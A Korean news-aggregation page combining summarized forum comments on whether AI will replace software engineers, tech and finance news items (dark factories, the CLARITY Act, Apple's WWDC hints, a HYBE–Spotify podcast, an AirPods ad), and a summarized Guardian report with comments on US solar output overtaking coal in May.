코딩이 빠르고 싼 단계로 여겨진다면, 출력물을 버려도 되므로 상류에서 같은 수준의 감독이 필요하지 않을 수도 있음 잘못된 코드를 버리는 비용이 잘못된 것을 만드는 주된 비용은 아님 소프트웨어가 오작동했을 때의 영향과 하위 호환성 유지 가 훨씬 더 나쁨
컴퓨터 산업 역사 내내 우리는 소프트웨어 엔지니어링 자동화 를 공격적이고 열정적으로 해왔고, 그때마다 더 크고 좋은 것을 더 빨리 만들 수 있게 됐음 그렇게 생산성이 오르면 일의 가치도 커지고 기대치도 같이 올라갔으며, 지금까지 세계의 소프트웨어 수요는 끝이 없었음 AI가 소프트웨어 엔지니어를 대체하지 못한 이유는 생산성이 올라갈 때마다 목표 지점도 함께 이동했기 때문임 이 흐름이 끝나는 경우는 두 가지인데, 첫째는 마침내 세계의 소프트웨어 수요를 다 채울 만큼 생산성이 높아지는 것임 아직 그런 증거는 보이지 않고, 이번이 컴퓨터 산업 전체 역사와 왜 다른지 명확히 설명해야 함 둘째는 AI가 자율적으로 행동할 때 인간보다 뛰어난 소프트웨어 엔지니어 가 되는 경우임 즉 AI+인간 개발자가 AI 단독보다 더 낫지 않은 상태인데, 지금까지 증거는 AI가 개발자의 증폭기이며 좋은 결과를 내려면 전문가가 방향을 잡고 AI가 최대 90%를 하는 정도로 보임 가까운 미래에 둘 중 하나가 일어날 강한 증거는 없어서 소프트웨어 엔지니어는 당분간 안전하다고 봄 다만 기술 폭이 좁고 특정 영역, 예컨대 프런트엔드 웹 개발에 집중한다면 더 걱정해야 함 AI가 소프트웨어 엔지니어 전체를 대체하지 못해도, 제너럴리스트가 지휘하는 형태로 특정 도메인을 완전히 흡수할 가능성은 꽤 높음
AI는 분명 소프트웨어 엔지니어를 대체할 것임 빠진 부분은 글에서 말하듯 전달·운영 이고, 그건 소프트웨어 엔지니어보다 DevOps/SRE/Cloud 엔지니어의 영역임 클라우드 엔지니어로 일하는데, 비엔지니어 친구 여러 명이 이제 각자 사이드 프로젝트를 처음부터 여러 언어로 만들고 로컬, 웹앱, 네이티브 앱으로 실행할 수 있게 됐다고 연락해옴 그들에게 부족한 건 “보통 개발자”처럼 쉽게 배포하고 유지할 플랫폼임 지금은 이 발판을 만드는 일이 꽤 번거롭지만, AGENTS.md, skills, 엄격한 종합 테스트로 충분히 가능함 한 번 만들어두면 비기술 사용자는 claude/codex에 원하는 것을 말하는 방식으로 소프트웨어 엔지니어를 고용하지 않고도 계속 개발할 수 있음 claude/codex는 미리 정한 아키텍처를 바탕으로 판단하고 비기술 사용자를 안내할 수 있음 내 일화적 사례에서는 AI가 이미 여러 소프트웨어 엔지니어를 대체했음 이런 발판이 제품화되면 그린필드 프로젝트 는 에이전트 코더와 플랫폼 엔지니어링을 통해 제품 관점에서만 관리될 수 있다고 봄 이것이 지금이고, 5년 뒤를 상상해보면 됨
개발 에이전시에서 일하고, 고객 대부분은 빠르게 시장에 나가야 하는 스타트업임 약 1년 반 동안 에이전트 기반 개발 을 써왔고, 그동안 우리의 역할은 크게 바뀌었음 프로젝트 유입량은 정확한 숫자를 몰라 말하기 어렵지만, 보이는 변화는 전달 가능 범위에 대한 기대치가 달라졌다는 점임 예전에는 5명이 하던 프로젝트를 이제 보통 1~2명이 함 현실적으로 그린필드 프로젝트는 상당 부분 자동화됐음 UX/UI 디자인 반복, 시스템 아키텍처 반복, 명확한 측정 지표가 없는 어려운 문제에 여러 접근을 시도하는 등의 많은 수작업이 이제 즉시 일어남 머릿속으로 이해할 수 있다면, 100분의 1 시간에 세상에 내놓을 수 있는 셈임 이 기간 동안 일하는 방식과 시스템을 생각하는 방식도 많이 바뀌었음 LLM과 공생하게 됐고, 이제 없이는 정말 어렵다 그렇다고 LLM이 쓰는 코드를 이해하지 못한다는 뜻은 아니고, 모든 변경을 따라가며 코드베이스도 LLM보다 훨씬 크게 이해하고 있음 다만 수동으로 코드를 작성하는 능력은 크게 퇴화했고, 그 점은 괜찮다고 생각함 현재는 비즈니스 목표와 그것을 가장 잘 뒷받침하는 기술 사이의 번역 계층 처럼 느껴짐 여전히 문제 해결이지만 훨씬 높은 수준의 문제 해결이고, 여전히 흥미롭고 재미있음 개발자에게 이 시대의 최선 전략은 비판적 사고를 유지하고 도구를 유리하게 쓰는 것 같음 이제 모두가 초능력을 얻었음 꼭 회사에서 일할 필요도 없고, 1인 개발자가 엄청난 것을 만들 수 있으니 다른 사람에게 의존할 필요도 예전만큼 없음 어쩌면 미래는 각자가 세상에 고유한 무언가를 제공하는 매크로 제품 경제 일지도 모름
“1950년 미국 인구조사의 270개 직업 중 자동화로 사라진 것은 엘리베이터 운전원 하나뿐”이라는 주장은 오해를 부름 같은 기간 농업 일자리 는 노동력의 15%에서 2%로 줄었음
가장 순진하게 AI를 믿는 사람들은 대체로 땜질하는 사람들 이었음 LLM 보조 코딩 덕분에 뭔가를 만지작거리는 속도는 놀라울 정도로 빨라졌으니 그럴 만함 땜질은 과정이고, 사람들은 만들고 조정하는 행위 자체에서 큰 즐거움을 얻음 결과는 2차나 3차 고려사항임 AI는 우리가 행동하고 따라서 만지작거릴 능력을 크게 넓혔지만, 스스로 의미 있는 영향, 즉 “엔지니어링”을 만들어내지는 못함 활동보다 영향이 중요함
아내는 AI에게 대체됐음 프로그래머였고, 회사가 공개적으로 아내와 몇몇 사람을 대체할 목적으로 에이전트를 만들었으며, 작동하기 시작한 지 약 한 달 뒤에 해고했음
AI 해고에 관한 기업 커뮤니케이션이 가짜라고 해서 위험이 무효화되지는 않음 기업 쪽 이야기가 거짓일 수 있어도 기술의 영향은 실제가 될 수 있고, 이 맥락에서는 잡음일 뿐임 글의 버거 도표처럼 실행 단계는 줄어드는데 다른 모든 단계가 커져서 전체 버거 크기가 그대로라는 가정도 그다지 그럴듯하지 않음 다만 소프트웨어 엔지니어링의 일부 영역은 아직 위협받기 매우 먼 것 같음 특히 정확성이 핵심인 영역 이 그렇다 웹 개발은 대충 밀어붙일 여지가 훨씬 많지만, 로켓 항법 코드는 다름 LLM은 둘 다 할 수 있겠지만, 후자를 조만간 바이브 코딩하는 사람은 없을 것 같음
AI는 말 그대로 이미 일부를 대체했고 앞으로 더 그럴 것임 모든 소프트웨어 엔지니어를 대체하지는 않겠지만, 판도라의 상자가 열린 이상 저노력·저위험 작업 은 AI가 하게 됨 Lovable 같은 서비스에는 실제 운영 중인 프로젝트가 매우 많고, 대안은 사람이 만드는 것이었음
일자리를 대체하는 것은 언제나 사업주 임 그래픽카드 묶음을 의인화하지 말아야 함
글의 이 부분은 확신이 안 듦 “진짜 병목은 (1) 무엇을 만들지 결정하고 명세하는 것, (2) 전달된 것을 검증하고 책임지는 것, (3) 코드베이스·비즈니스·환경에 대한 깊은 인간적 이해”라는 주장임 코딩이 비싸고 병목으로 여겨졌기 때문에, 그 입력이 맞고 출력물을 버리지 않도록 상류와 하류 모두에서 많은 노력이 들어갔던 것일 수 있음 코딩이 빠르고 싼 단계로 여겨진다면, 출력물을 버려도 되므로 상류에서 같은 수준의 감독이 필요하지 않을 수도 있음
발행일: 2026-06-12 12:58 (금)
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피지컬AI가 빠르게 발전하면서 로봇이 스스로 판단해 24시간 가동하는 불 꺼진 무인공장, 즉 ‘다크팩토리’ 시대가 현실로 다가오고 있다.
한국정보통신진흥협회(KAIT)는 11일 조선팰리스 서울 강남에서 국내 주요 AI 디지털 기업, ICT 유관 기관, 학계 전문가, 정부 관계자 등 60여 명이 참석한 가운데 제조 피지컬AI와 자율형 무인공장을 주제로 디지털 인사이트 포럼을 열었다.
최재유 포럼 공동의장은 “글로벌 공급망 변화 속에서 반도체, 자동차, 조선, 국방 등 세계 최고 수준의 제조 경쟁력을 갖춘 한국은 대체 불가능한 핵심 파트너”라며 “위험하고 고된 공정은 AI 로봇이 전담하고 숙련 노동자의 경험은 AI가 계승해 인구 감소 시대에도 우리의 제조 경쟁력과 생산성을 지켜내는 핵심 생존 전략이 될 것”이라고 말했다.
이날 기조 강연자로 나선 제조 피지컬 AI 분야의 권위자인 장영재 한국과학기술원(KAIST) 석좌교수는 ‘제조 피지컬 AI: 자율형 공장 다크팩토리’를 주제로 제조업의 미래와 한국 제조 경쟁력의 새로운 성장 전략을 제시했다.
장 교수는 “AI 경쟁의 중심은 모델 성능 대결을 넘어 실제 산업 현장에서 얼마나 높은 생산성과 가치를 창출하느냐의 경쟁으로 이동하고 있다”라며 “피지컬 AI가 제조업의 경쟁력을 결정하는 핵심 기술이 될 것”이라고 말했다.
이어 “컨베이어벨트 중심의 제조 방식은 한계에 도달했다”며 “앞으로는 독립 작업 구역인 셀(Cell) 제조와 자율이동로봇(AMR)이 생산·물류·품질검사를 유기적으로 연결하는 자율형 공장이 제조 혁신의 핵심이 될 것”이라고 강조했다.
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장 교수는 과학기술정보통신부 지원으로 개발한 무인공장 플랫폼 '카이로스-X'도 소개했다. 카이로스-X는 이기종 로봇과 센서, 설비, 디지털 트윈을 단일 운영체계(OS)로 통합 제어하는 플랫폼으로, 전 구간을 국산 기술로 구현한 것이 특징이다.
그는 “한국은 제품을 파는 나라를 넘어 공장 운영의 지능을 수출하는 나라로 도약해야 한다”며 “독일·일본 선도 기업과 경쟁할 수 있는 K-다크팩토리 수출 모델을 육성해야 한다”고 말했다.
클래리티법 본회의 압박 커지는데…예측시장은 "8월 전 입법 어렵다"
200여개 기업·단체가 미 상원에 클래리티 법안의 본회의 표결을 촉구했다. 하지만 예측시장은 8월 전 처리 가능성을 낮추며 상원 일정과 쟁점 조정 난항을 반영했다.
클래리티 법안을 둘러싼 갈등이 갈수록 깊어지고 있다. [사진: 셔터스톡]
[디지털투데이 이윤서 기자] 암호화폐 업계가 미국 상원에 클래리티 법안의 본회의 표결을 서두르라며 공개 압박에 나섰다. 다만 예측시장은 8월 전 입법 가능성을 오히려 낮추며 업계의 기대와 실제 일정 사이의 간극을 반영하는 모습이다.
9일(이하 현지시간) 블록체인 매체 크립토슬레이트에 따르면 200개가 넘는 기업과 단체는 7일 존 튠 상원 원내대표와 척 슈머 상원 민주당 원내대표에게 서한을 보내 지체 없이 법안을 상원 전체 표결에 부쳐야 한다고 촉구했다.
이번 서한에는 스탠드 위드 크립토, 블록체인협회, 크립토 혁신위원회, 디지털 체임버 등이 참여했다. 이들은 연방 차원의 규제 틀이 없으면 디지털 자산 활동이 소비자 보호와 투명성이 더 약한 해외 관할권으로 계속 이동할 것이라고 주장했다. 업계는 클래리티 법안을 경쟁력 문제로 규정하며 미국 내 시장 점유율 방어와 제도권 편입의 필요성을 전면에 내세웠다.
법안은 5월 14일 상원 은행위원회를 15대9의 초당적 표결로 통과한 상태지만, 상원 지도부는 아직 본회의 상정 시점을 공개하지 않았다. 현재로선 상원 은행위원회가 수정한 법안 문구를 상원 농업위원회의 디지털 상품 중개업자 법안과 조정해야 하고, 상원을 통과하더라도 하원을 통과한 법안과 다시 맞춰야 한다.
공화당 측 지지자들도 처리 속도를 높여야 한다고 압박했다. 법안의 대표 지지자인 신시아 루미스 상원의원은 "법안이 위원회를 통과했고, 다음 단계는 본회의"라고 밝혔으며, 팀 스콧 상원 은행위원장도 지난 8일 "클래리티법은 미국 시민들을 위한 법안이며, 디지털 자산을 더 안전하고 공정하며 투명한 체계 안으로 들여올 것"이라고 말했다.
하지만 반대 진영의 압박도 동시에 커졌다. 전미소비자연맹, 미국금융개혁연대, 미국소비자연맹, 퍼블릭시티즌 등은 4일 별도 서한을 보내 상원안에 반대 입장을 밝혔다. 이들은 자금세탁방지와 은행비밀법 관련 의무가 약하고, 윤리 조항이 충분하지 않으며, 스테이블코인 수익과 관련한 허점이 있다고 지적했다.
이 쟁점은 본회의 표결 전 수정이 필요하다고 지목된 부분과 겹친다. 민주당 내 표 계산과 일부 중도 성향 공화당의 우려가 여전히 남아 있어, 대규모 업계 연합의 압박이 곧바로 표결 일정으로 이어지지 못하고 있다.
예측시장도 이런 우려를 반영했다. 폴리마켓에서 2026년 안에 클래리티 법안이 서명까지 마칠 가능성은 3일 62%에서 8일 51%로 하락했다. 칼시에서도 8월 전 클래리티 법안 통과 가능성은 같은 기간 39.7%에서 22.1%로 떨어졌다. 반면 2027년 전까지 관련 법안이 통과할 가능성은 52.1%에서 51.5%로 소폭 움직이는 데 그쳤다. 시장은 연내 가능성을 완전히 접지는 않았지만, 단기간 내 처리 전망은 크게 낮춘 셈이다.
기관 전망도 비슷한 흐름을 보였다. 갤럭시디지털의 알렉스 손은 상원 일정 리스크를 이유로 2026년 법안 통과 가능성 추정치를 75%에서 60%로 낮췄다. JP모건도 자체 추정치를 50% 아래로 제시했다.
핵심 병목은 세 가지로 압축된다. 상원 지도부가 본회의 시간을 확보할 수 있는지, 윤리 조항과 자금세탁방지 관련 이견을 큰 정치적 충돌 없이 조정할 수 있는지, 그리고 예산 조정과 국가안보 법안 등 다른 우선 과제 속에서 입법 일정이 유지될 수 있는지가 관건이다.
이런 상황에서 업계가 내세운 해외 이전 우려도 다시 부각되고 있다. 유럽연합(EU)의 MiCA 과도기간은 7월1일 종료되며, 이후 라이선스가 없는 사업자는 EU 고객 대상 서비스를 중단해야 한다. 업계는 미국의 규제 공백이 먼저 제도화를 마친 지역으로 시장 점유율을 넘겨주는 결과로 이어질 수 있다고 보고 있다.
결국 7일 제기된 서한은 5월 상원 은행위원회 통과 이후 나온 가장 조직적인 본회의 표결 촉구 움직임이지만, 실제 일정은 여전히 상원 지도부와 쟁점 조정 여부에 달려 있다. 시장은 지금 단계에서 정치적 소음보다 입법 절차의 병목을 더 크게 보고 있다.
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키워드 #클래리티법 #암호화폐 #스테이블코인 #트럼프
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애플, 새 OS서 가을 신제품 단서 대거 유출…폴더블 폰·터치 맥북 온다
애플이 차세대 베타 운영체제 기능을 통해 폴더블 아이폰, 터치스크린 맥북, 자체 보안 카메라 등 가을 신제품 3종의 단서를 노출했다.
WWDC2026에서 신규 하드웨어의 윤곽이 드러났다. [사진: Reve AI]
[디지털투데이 AI리포터] 애플이 연례 세계개발자회의(WWDC)에서 공개한 차세대 운영체제를 통해 올가을 선보일 신규 하드웨어의 윤곽이 드러나고 있다.
11일(현지시간) IT매체 나인투파이브맥에 따르면 iOS 27과 맥OS 골든 게이트 베타 버전의 코드 및 기능 분석 결과, 애플이 폴더블 아이폰과 터치스크린 맥, 가정용 보안 카메라 등 새로운 제품군 출시를 준비하고 있다는 정황이 포착됐다.
가장 주목되는 제품은 첫 폴더블 아이폰이다. iOS 27 베타 코드에는 기기의 접힘 상태와 각도, 내장 디스플레이 수와 관련된 참조 코드가 포함된 것으로 전해졌다. 여기에 내장 앱의 가로 모드 지원 확대와 새로운 앱 크기 조정 가이드라인, 맥OS의 아이폰 미러링 앱 크기 조절 기능 등이 더해지며 화면 확장형 기기 출시 가능성에 무게가 실리고 있다.
맥OS 골든 게이트에서는 터치스크린 맥 출시를 암시하는 변화도 발견됐다. 스크롤해 새로고침 기능이 추가됐고, 사이드카에는 직접 터치 입력 기능이 적용됐다. 메시지 앱의 드로잉 기능과 마크업 도구 확대, 손가락 조작을 고려한 UI 간격 조정 역시 터치 기반 사용 환경을 염두에 둔 변화로 해석된다.
가정용 보안 카메라 출시 가능성도 제기된다. 애플은 그동안 자체 보안 카메라 개발설과 함께 홈킷 보안 비디오 기능 강화를 추진해 왔다. 실제로 iOS 27 홈 앱의 신규 기능 대부분이 홈킷 보안 비디오 개선에 집중됐으며, 사용자들이 요구해 온 4K 비디오 지원도 포함됐다. 이에 따라 관련 전용 하드웨어 공개가 임박했다는 관측이 나오고 있다.
키워드 #WWDC 2026 #애플 #폴더블 아이폰 #맥북 #보안 카메라 #홈 앱
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발행일: 2026-06-12 12:58 (금)
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하이브가 스포티파이와 함께 선보인 비디오 팟캐스트 '스탠에이(STAN:A)'가 출시 두 달 만에 글로벌 주요 시장에서 성과를 내고 있다. 미국과 영국, 독일 등 주요 국가 스포티파이 음악 팟캐스트 차트 1위에 오르며 한국어 팟캐스트의 해외 확장 가능성을 보여줬다.
하이브는 자사 미디어 스튜디오가 제작한 팟캐스트 '스탠에이'가 스포티파이 주요 국가 음악 차트에서 잇달아 1위를 기록했다고 12일 밝혔다.
스탠에이는 지난 5월 스포티파이 '더 팟캐스트 차트(The Podcast Charts)' 내 음악 분야 일간 순위를 집계하는 '뮤직 차트'에서 독일과 미국, 영국, 호주 등에서 정상에 올랐다.
하이브는 한국어 팟캐스트가 해당 국가 음악 차트 1위를 차지한 것은 처음이라고 설명했다.
또 스포티파이의 국가별 인기 채널 순위를 집계하는 '톱 팟캐스트' 부문에서도 영국과 캐나다, 프랑스, 독일, 인도, 필리핀 등 11개 국가 차트에 진입하며 글로벌 인지도를 확대하고 있다.
스탠에이는 하이브와 스포티파이가 글로벌 콘텐츠 제휴를 통해 지난 3월 선보인 비디오 팟캐스트 채널이다.
하이브가 콘텐츠를 제작하고 스포티파이가 글로벌 유통을 담당하는 구조다. K팝을 보다 친숙하게 접할 수 있도록 영상 기반 팟캐스트 형식을 채택했다.
실제 이용자 구성에서도 해외 비중이 압도적으로 높은 것으로 나타났다. 주요 시청 지역은 인도네시아와 북미, 독일, 영국, 필리핀 등이며 최근에는 유럽 지역 이용자 증가세도 두드러진 것으로 집계됐다.
하이브는 팟캐스트 시청이 K팝 음원 소비 증가로 이어지는 효과도 확인했다고 설명했다.
첫 번째 프로그램인 '블러드 다이어리'의 경우 호스트인 엔하이픈의 음악을 접한 적 없는 이용자 비중이 높게 나타났다. 이후 해당 이용자들의 음원 소비도 증가한 것으로 분석됐다.
현재 스탠에이는 엔하이픈이 출연하는 미스터리 스토리텔링 콘텐츠 '블러드 다이어리'와 음악 토크 프로그램 '음악의 참견' 두 개의 프로그램을 운영하고 있다.
'블러드 다이어리'는 영국과 프랑스, 네덜란드, 호주, 인도 등 11개 국가·지역의 '톱 에피소드' 차트에 진입했으며 일부 에피소드는 공개 열흘 만에 조회수 100만 회를 돌파했다.
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하이브는 자사 콘텐츠 제작 역량과 스포티파이의 글로벌 플랫폼 경쟁력이 결합된 결과라고 평가했다. 실제 스탠에이 시청의 95% 이상이 영상 형태로 소비되고 있는 것으로 나타났다.
하이브 미디어 스튜디오는 "K팝 글로벌 대중화를 목표로 기획한 스탠에이가 전 세계 이용자들에게 좋은 반응을 얻고 있다"며 "앞으로도 K팝을 자연스럽게 경험할 수 있는 차별화된 콘텐츠를 확대해 나갈 계획"이라고 밝혔다.
애플, 월드컵 개막에 '비니시우스 카드' 꺼냈다…에어팟 프로 3 대대적 홍보
애플이 월드컵 개막에 맞춰 비니시우스 주니오르를 앞세운 에어팟 프로 3 광고를 공개했다. 광고는 액티브 노이즈 캔슬링 성능을 핵심 메시지로 내세우며 브랜드 노출 확대에 집중했다.
애플이 월드컵 개막에 맞춰 비니시우스 주니오르를 앞세운 에어팟 프로 3 광고를 공개했다. [사진: 애플 유튜브]
[디지털투데이 AI리포터] 애플이 에어팟 프로 3의 액티브 노이즈 캔슬링(ANC) 성능을 전면에 내세운 새 광고 영상을 공개했다.
11일(현지시간) IT매체 나인투파이브맥에 따르면, 애플은 월드컵 개막에 맞춰 레알 마드리드 소속 축구선수 비니시우스 주니오르(Vinícius Júnior)를 앞세운 마케팅 영상을 선보였다.
이번 광고의 중심에는 에어팟 프로 3가 있다. 영상은 비니시우스 주니오르가 도시 곳곳을 자유롭게 이동하며 음악을 즐기는 모습으로 구성됐으며, 애플은 제품의 핵심 메시지로 세계 최고 수준의 인이어 액티브 노이즈 캔슬링을 내세웠다. 월드컵 개막 시점에 맞춰 대중 노출 효과를 극대화하려는 의도가 엿보인다.
애플은 에어팟 프로 3가 이전 세대보다 소음 차단 성능을 크게 향상했다고 강조했다. 회사는 에어팟 프로 3가 에어팟 프로 2보다 최대 2배 더 많은 소음을 차단할 수 있다고 설명했다. 또한 에어팟 프로 2 역시 1세대 에어팟 프로 대비 소음 제거 성능이 두 배 향상된 제품이라는 점도 함께 부각했다.
광고 모델 선정 역시 월드컵 시즌과 맞물린 전략으로 해석된다. 애플은 세계 최대 축구 이벤트가 시작되는 시점에 비니시우스 주니오르를 앞세워 광고를 공개했으며, 향후 수주 동안 TV를 통해 해당 광고를 집중 노출할 것으로 알려졌다.
이는 단순한 제품 홍보를 넘어 스포츠 이벤트 시청 수요가 집중되는 시기에 브랜드 메시지를 확산하려는 전략으로 풀이된다.
가격 정책도 소비자 관심을 끌고 있다. 신규 광고 공개와 함께 할인 판매가 진행되면서 애플은 제품 인지도 제고와 구매 전환 확대를 동시에 노리는 모습이다.
이번 캠페인의 특징은 다양한 기능 소개보다 하나의 핵심 메시지에 집중했다는 점이다. 애플은 광고에서 에어팟 프로 3를 착용한 상태로 외부 소음에서 벗어나 음악에 몰입하는 장면을 반복적으로 보여주며, 세계 최고 수준의 인이어 액티브 노이즈 캔슬링과 최대 2배라는 표현으로 성능 우위를 강조했다.
월드컵 기간은 TV와 온라인 영상 소비가 동시에 증가하는 시기다. 애플은 이에 맞춰 에어팟 프로 3의 대표 기능을 다시 부각하며 프리미엄 무선이어폰 시장에서 제품 존재감을 강화하려는 행보를 이어가고 있다.
할인 판매와 대형 스포츠 이벤트를 결합한 이번 마케팅이 실제 판매 증가로 이어질지 관심이 쏠린다.
키워드 #애플 #에어팟 #에어팟 프로 3 #노이즈 캔슬링 #비니우스 주니오르
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미국에서 태양광이 처음으로 석탄보다 많은 에너지를 생산함 (theguardian.com)
미국 전력 구성에서 태양광 은 5월 처음으로 석탄을 앞섰고, 연방 차원의 재생에너지 지원이 줄어든 상황에서도 신규 전원의 선두를 유지함 Ember 데이터에서 5월 태양광은 미국 전력의 12.8% , 석탄은 12.2% 를 공급했으며 석탄은 역대 네 번째로 낮은 월간 비중을 기록함 태양광은 5월 미국 전력원 중 천연가스와 원자력 에 이어 세 번째로 큰 전원이 됐고, 석탄 발전은 4월 역대 월간 최저치를 기록한 뒤 5월에 소폭 반등함 미국 전력 수요는 약 20년간 거의 정체된 뒤 AI, 국내 제조, 교통·난방 전기화 를 위해 증가하고 있으며, 태양광이 몇 년 안에 연간 기준으로도 석탄을 앞설 것으로 예상됨 Trump 행정부는 석탄 지원과 청정에너지 제한 정책을 추진했지만, 1분기 신규 발전 용량의 91% 가 태양광과 배터리 저장장치였음 {p:91} 태양광이 석탄을 처음 앞선 5월 Donald Trump가 청정에너지보다 석탄을 강화하는 상황에서도 미국의 태양광 발전 은 새 이정표를 세웠고, 신규 전원의 선두 지위를 유지함 Ember, Solar Energy Industries Association, Wood Mackenzie의 자료는 연방 정책에도 미국에서 태양광이 계속 성장하고 석탄이 감소하고 있음을 보여줌 5월 미국 전력에서 태양광은 12.8% 를 공급했고, 석탄은 12.2% 를 공급함 석탄의 5월 비중은 역대 네 번째로 낮은 월간 비중이었음 태양광의 전력원 순위 변화 Nicolas Fulghum은 태양광이 수년간 미국 전력 구성에서 상승해 왔고, 석탄은 미국 최대 전원 지위를 잃은 뒤 더 낮아졌다고 밝힘 태양광은 5월 미국에서 천연가스와 원자력 에 이어 세 번째로 큰 전력원이 됨 석탄 발전은 4월 역대 월간 최저치를 기록했고, 5월에는 소폭 반등했지만 증가한 태양광 발전량에 추월당함 풍력과 태양광을 합친 발전량은 과거에도 석탄을 앞선 적이 있으며, 풍력 단독 발전량도 풍속이 강해지는 봄철에 석탄을 앞선 적이 있음 Ember는 미국 Energy Information Administration의 시간별·월별 데이터를 사용함 전력 생산과 탄소 배출의 차이 전기는 화석연료, 재생 자원, 원자력 같은 에너지원을 전력으로 변환해 생산됨 석탄, 석유, 천연가스를 태워 전기를 만들면 이산화탄소가 배출되고, 이산화탄소는 대기 중 열을 가둬 지구를 따뜻하게 함 태양광, 풍력, 지열, 수력, 원자력은 무탄소 전원으로 분류됨 증가하는 전력 수요와 태양광 전망 미국 전력 소비는 약 20년간 거의 정체됐지만, 현재는 인공지능, 국내 제조 확대, 교통·난방 전기화 를 위해 전력 수요가 증가하고 있음 Nicolas Fulghum은 태양광 발전량이 석탄 발전량을 넘는 달이 더 많아질 것으로 예상함 Nicolas Fulghum은 태양광이 몇 년 안에 연간 기준으로도 석탄을 앞설 것으로 예상함 이러한 이정표는 연방 차원의 재생에너지 지원이 줄어든 시점에도 태양광이 지속력 을 갖고 있음을 의미함 세계 재생에너지 성장 전 세계적으로 재생에너지 발전량 은 빠르게 증가하고 있음 International Energy Agency는 재생에너지가 2030년까지 전 세계 전력 생산의 거의 45% 에 쓰이는 최대 에너지원이 될 것으로 봄 Trump 행정부의 석탄 지원과 에너지 정책 Trump는 어려움을 겪는 미국 석탄 산업을 강화하기 위해 석탄화력발전소와 석탄 수출을 지원하는 데 거의 7억 달러 를 쓰는 계획을 발표함 Trump는 White House 행사에서 “석탄은 훌륭한 사업”이며 “전력 측면에서 정말 그만한 것이 없다”고 발언함 Heliene의 Martin Pochtaruk은 Trump가 석탄이 돌아온다고 말할 수 있지만, 투자자들은 가장 좋은 수익을 내는 곳에 돈을 투자한다고 밝힘 Martin Pochtaruk은 발전 부문에서 그 대상이 태양광이며, 태양광이 가장 빠르게 성장하는 연료라고 밝힘 White House 대변인은 Trump 행정부의 전반적 에너지 정책이 국가 안보 강화에 맞춰져 있다고 밝힘 White House 대변인은 Trump가 좌파의 파괴적 정책을 되돌리고, 미국 석탄 산업을 구했으며, 17GW가 넘는 전력의 퇴역을 막고, 수요가 높은 기간에 생명을 구했다고 밝힘 신규 전원 투자와 청정에너지 제한 Trump가 석탄 산업의 하락세를 되돌리려 하는 동안, 태양광은 5년 동안 신규 전원의 최대 공급원 지위를 유지함 Solar Energy Industries Association은 태양광이 5년 동안 신규 전원의 최상위 공급원이었다고 밝힘 Solar Energy Industries Association과 Wood Mackenzie는 1분기에 건설된 에너지 자원이 사실상 태양광과 배터리 저장장치 뿐이었다고 밝힘 태양광과 배터리 저장장치는 1분기 전체 신규 발전 용량의 91% 를 차지함 Trump 행정부는 태양광·풍력 프로젝트를 취소했고, 청정에너지 인허가와 개발을 늦추는 정책을 시행했으며, 미국 전역의 저렴한 태양광 프로젝트에 쓰일 예정이던 70억 달러 자금을 종료함
함께 보면 좋은 글 β 미국 전력 생산에서 '화석 연료 비중', 사상 처음으로 50% 아래로 하락 미국 전력망에서 35% 성장한 태양광이 수력을 추월 2026년 4월 전 세계에서 풍력과 태양광이 가스보다 더 많은 전력을 생산했다 미국 전력 수요가 2025년에 급증 – 태양광이 그중 61%를 담당 유럽에서 풍력과 태양광이 화석연료를 추월
미국 전력 생산에서 '화석 연료 비중', 사상 처음으로 50% 아래로 하락
미국 전력망에서 35% 성장한 태양광이 수력을 추월
2026년 4월 전 세계에서 풍력과 태양광이 가스보다 더 많은 전력을 생산했다
미국 전력 수요가 2025년에 급증 – 태양광이 그중 61%를 담당
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지난 20년 동안 많은 석탄 발전소가 가스 발전으로 전환 된 영향이 크고, 태양광이 그 발전소들의 출력을 그대로 넘어섰다는 뜻만은 아님 석탄 발전량은 줄고 태양광 발전량은 늘면서 선이 교차한 것임 석탄은 아직 지역 경제에 탄광이 남아 있는 몇몇 곳을 빼면 인기가 낮고, 예전에 석탄 발전소 근처에서 일할 때 차에 매일 작은 검은 입자가 내려앉았음 대통령이 뭐라고 하든 그런 걸 좋아할 사람은 없음
태양광 성장세 는 놀라울 정도임 예전에 이해를 위해 데이터를 파고들고 시각화도 해봤음 https://torkeldanielsson.se/solar-energy-forecasts/ 태양광은 이미 압도적으로 가장 저렴한 에너지원이고, 보급이 늘수록 학습률 때문에 더 싸질 것임 2035년쯤에는 태양광이 지구에서 단일 최대 에너지원이 될 것으로 봐야 함
Guardian이 데이터 출처를 언급한 건 +1이지만, 링크를 걸지 않은 건 -1임 EMBER는 데이터 출처도 있고, 미국에서 월간 기준 태양광이 석탄을 넘어선 조건 까지 링크할 수 있어서 +2임 https://ember-energy.org/data/electricity-data-explorer/?ent...
독일의 발코니 태양광 보도를 많이 봤고, 캘리포니아도 최근 이를 허용하는 법안을 냈다고 들었음 다른 주들은 이미 허용할 수도 있고, 캘리포니아 법안이 실제로 법이 될지는 모르겠음 제한적인 보조 전원이 아니라 주 전원이 될 수 있는 더 플러그 앤 플레이에 가까운 가정용 태양광 시스템까지는 얼마나 남았는지 궁금함 현실화의 장애물이 주로 정부·전력회사·설치업체가 매출이나 전력망 보호를 위해 끝까지 싸우는 규제 문제인지, 아니면 실제 안전 문제인지 알고 싶음 전력망과 태양광 사이의 전력 관리는 안전 문제를 비교적 쉽게 해결할 수 있을 것 같고, 발코니 장치도 작긴 하지만 비교적 안전해 보임 설치, 예를 들어 지붕 패널 설치에는 더 많은 안전 이슈가 있을 수 있지만, 더 강력한 플러그 앤 플레이 선택지가 나오는 게 합리적인지, 이미 일부 지역에는 있는지도 궁금함 이런 질문은 바로 LLM에 물어볼 만하지만, 그래도 현장 경험과 전문성을 가진 사람들의 답을 여전히 듣고 싶음
미국의 현재 1인당 온실가스 배출량 은 대략 1910년 수준임 https://ourworldindata.org/profile/co2/united-states 파리협정에 남아 있지 않더라도, 미국은 일정대로 파리협정 요구 수준인 2030년까지 43% 감축을 맞추려면 10~12% 정도만 더 줄이면 됨
